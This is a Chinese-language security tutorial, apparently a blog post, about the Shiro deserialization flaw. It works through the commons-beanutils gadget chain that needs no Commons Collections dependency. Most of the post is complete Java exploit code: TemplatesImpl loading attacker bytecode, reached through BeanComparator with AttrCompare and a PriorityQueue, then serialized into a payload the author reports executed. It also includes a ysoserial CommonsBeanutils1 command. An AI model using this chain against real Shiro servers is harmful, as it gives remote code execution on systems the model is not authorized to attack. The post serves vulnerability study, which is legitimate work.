Shiro反序列化漏洞-shiro无依赖利用链 前言 之前说过Shiro默认的包里就是没有CC依赖的,我们想打只能打Shiro本身自带的依赖commons-beanutils,因为这些依赖里只有它有完整的反序列化利用链,所以今天分析一下这个漏洞,再来分析下它在Shiro里面怎么用。
漏洞分析 commons-beanutils简写CB,它跟我们直接学的CC很像,也是一种对Java内置功能的加强。我们知道CC是对Java集合类的增强,CB是对JavaBean的增强。
岔开来稍微讲一下什么是JavaBean,有很多class的定义都符合这样的规范:
若干private实例字段;
通过public方法来读写实例字段。
例如:
1 2 3 4 5 6 7 8 9 10 public class Person { private String name; private int age; public String getName ( ) { return this .name ; } public void setName (String name ) { this .name = name; } public int getAge ( ) { return this .age ; } public void setAge (int age ) { this .age = age; } }
JavaBean主要用来传递数据,即把一组数据组合成一个JavaBean便于传输。
说白了就是函数调用的方式获取属性,CB提供了字符串获取的方法,这个方法是getProperty ,它是在一个对象上面,直接获取它的属性值,比如
1 2 3 4 public static void main (String[] args) throws Exception { Person person = new Person ("lotus" , 123 ); System.out.println(PropertyUtils.getProperty(person,"age" )); }
这里就自动调用了Person类的getName方法。这里就是一个动态的执行代码的地方,很容易联想到会不会有安全问题。设置一个断点看一看底层是怎么实现的。
调用了getProperty,然后又调用了另一个对象的getProperty
里面调用了getNestedProperty这个函数,Nested可以理解为嵌套的意思,这里处理的类叫做PropertyUtilsBean
接着经过一系列判断,判断bean是否为空,属性值是否为空,下面再经过一个类似Switch的判断,如果是Map就调用Map,是索引就调用索引,这里我们都不是,就走到了getSimpleProperty
进入getSimpleProperty里,里面获取到属性的描述符
看看这个descriptor,可以看到我们传的是age,它返回了Bean的属性值的名字(驼峰命名),它的set方法和get方法
往下getReadMethod找对应的方法,在这里就是getAge方法
获取完进行反射调用
这里的反射调用也很直白,就是对我们传递的对象,来调用符合JavaBean格式的方法,get方法,这里就走完了。
我们在讲CC3那条链子的时候,讲到了TemplatesImpl这个类,它里面有个getOutputProperties方法,这个方法调用了newTransformer,我们当时知道newTransformer是可以动态加载类的,也就是能代码执行的。getOutputProperties相当于也是一个可以代码执行的点,同时getOutputProperties的方法get打头,符合Javabean的格式,也就是说如果我们对一个Template对象调用这个方法,就可以代码执行。
试着看看能不能成功调用,直接拿CC3的payload就可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class BeanTest { public static void main (String[] args) throws Exception { Person person = new Person ("lotus" , 123 ); TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"lotus" ); Field bytecodeseField = tc.getDeclaredField("_bytecodes" ); bytecodeseField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class" )); byte [][] codes = {code}; bytecodeseField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl ()); PropertyUtils.getProperty(templates,"outputProperties" ); } }
成功的调用了getOutputProperties,这里有个细节,使用getProperty方法的时候,里面的属性值需要小写开头
所以我们知道如果调用了PropertyUtils.getProperty,并且这个属性值我们可以控制的话,就可以实现任意执行代码,所以现在要做的就是将getProperty方法放到反序列化链里,反过来去找它的上层。思路和其他找反序列化的思路一样,Find Usage
在BeanComparator这个类的compare方法中找到了调用getProperty,这个属性还是可以控制的。之前在CC2的时候优先队列用到了transformingComparator这个方法,能串到compare方法,且优先队列的值我们也是可以控制的,这就相当于把这条链子串起来了
链子流程如下
可以构造的Exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 public class ShiroCB { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"lotus" ); Field bytecodeseField = tc.getDeclaredField("_bytecodes" ); bytecodeseField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class" )); byte [][] codes = {code}; bytecodeseField.set(templates,codes); BeanComparator beanComparator = new BeanComparator ("outputProperties" ); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class<PriorityQueue> priorityQueueClass = PriorityQueue.class; Field comparatorField = priorityQueueClass.getDeclaredField("comparator" ); comparatorField.setAccessible(true ); comparatorField.set(priorityQueue,beanComparator); serialize(priorityQueue); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
寻思着这样应该就构造出利用链了,然而实际运行起来会报错,它这里说没有办法加载到CC底下的一个类,这就很奇怪了,明明没有用CC的依赖为什么会报这个错呢?
实际上这是CB在设计的时候,很多地方会和CC有重叠的地方。BeanComparator的构造函数里传了一个ComparableComparator,这个类又是CC里面的
问题也很好解决,BeanComparator还有一个构造函数,我们可以自己传一个CB里面有或者JDK里面有的comparators就行了。因为我们要反序列化,所以这个comparators的条件就是1、继承Comparator接口 2、继承serializable接口
可以把这符合这两个的接口列出来,简单的写个脚本,取交集
1 2 3 4 5 6 7 8 9 10 11 12 13 with open ('comparator.txt' ) as f: data = f.readline() coms = [] while data: coms.append(data) data = f.readline()with open ('serializable.txt' ) as d: data = d.readline() sers = [] while data: sers.append(data) data = d.readline()print (*[i for i in coms if i in sers])
运行出来的结果就这么几个,挨个看看
第一个AttrCompare就挺好,public的
payload里只需要在CB的部分添加自己的comparators,AttrCompare就可以了,完整的payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public class ShiroCB { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"lotus" ); Field bytecodeseField = tc.getDeclaredField("_bytecodes" ); bytecodeseField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class" )); byte [][] codes = {code}; bytecodeseField.set(templates,codes); BeanComparator beanComparator = new BeanComparator ("outputProperties" ,new AttrCompare ()); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class<PriorityQueue> priorityQueueClass = PriorityQueue.class; Field comparatorField = priorityQueueClass.getDeclaredField("comparator" ); comparatorField.setAccessible(true ); comparatorField.set(priorityQueue,beanComparator); serialize(priorityQueue); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
生成加密后的payload,成功执行
这就是完全原生的打Shiro的攻击方法,就打commons-beanutils这条链子,这条链子需要注意的地方是commons-beanutils默认是依赖CC的,所以要把它改成不依赖的CC的版本,具体的实现方式就是自己传一个一个comparators
还有一个细节,如果我们打ysoserial官方的CommonsBeanutils1的payload,实际上会报错
1 java -jar ysoserial-all.jar CommonsBeanutils1 calc > ser.bin
它报的错是serialVersionUID不匹配,为什么会有这个错呢?实际上这是依赖库版本的问题,ysoserial带的CB版本是1.9.2,而Shiro自带的版本是1.8.3,所以打的时候会出现依赖不一样的错误,而我们先前打的依赖版本和目标一致。
漏洞利用的时候也可能会有这种问题,平时需要多多注意,毕竟工具写的都是死的。
后记 今天讲了shiro无依赖利用链,也就是打的commons-beanutils这条链子,它主要两个问题,一个刚刚说依赖版本问题,另一个就是默认会依赖CC依赖的问题。
主要介绍了commons-beanutils这条链子的利用,它引出了一种基于JavaBean的反序列化攻击方式,这种攻击方式后续还是会经常用的到,包括像一些fastjson这种,也会用到这种基于JavaBean的攻击方式
参考连接:
[1] Shiro反序列化漏洞_哔哩哔哩
[2] 小姐姐带你看Shiro反序列化漏洞利用